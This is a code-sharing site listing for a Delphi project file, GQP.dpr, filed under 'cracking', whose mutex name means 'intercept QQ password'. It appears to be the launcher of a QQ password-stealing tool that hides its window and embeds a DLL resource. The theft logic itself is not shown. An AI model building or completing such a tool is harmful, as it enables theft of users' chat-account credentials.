GQP.dpr
上传用户:jiansibo
上传日期:2015-07-04
资源大小:524k
文件大小:1k
源码类别:

破解

开发平台:

Delphi

  1. {....................author: ZHY............
  2.  ....................qq:65862177............
  3.  ...........e-mail:zhyprogram@163.com.........
  4. }
  5. program GQP;
  6. uses
  7.   Forms,
  8.   windows,
  9.   Mainfrm in 'Mainfrm.pas' {GQPFRM},
  10.   Types in 'Types.pas',
  11.   PassWordFrm in 'PassWordFrm.pas' {PasswordDlg};
  12. {$R *.RES}
  13. {$R Dll.res}
  14. var
  15.   hMutex:HWND;
  16. begin
  17.   hMutex:=CreateMutex(nil,false,'截取QQ密码');
  18.   if GetLastError<>ERROR_ALREADY_EXISTS then
  19.    begin
  20.      Application.Initialize;
  21.      application.ShowMainForm:=false;
  22.      Application.CreateForm(TGQPFRM, GQPFRM);
  23.   Application.CreateForm(TPasswordDlg, PasswordDlg);
  24.   Application.Run;
  25.    end;
  26.   ReleaseMutex(hMutex);
  27. end.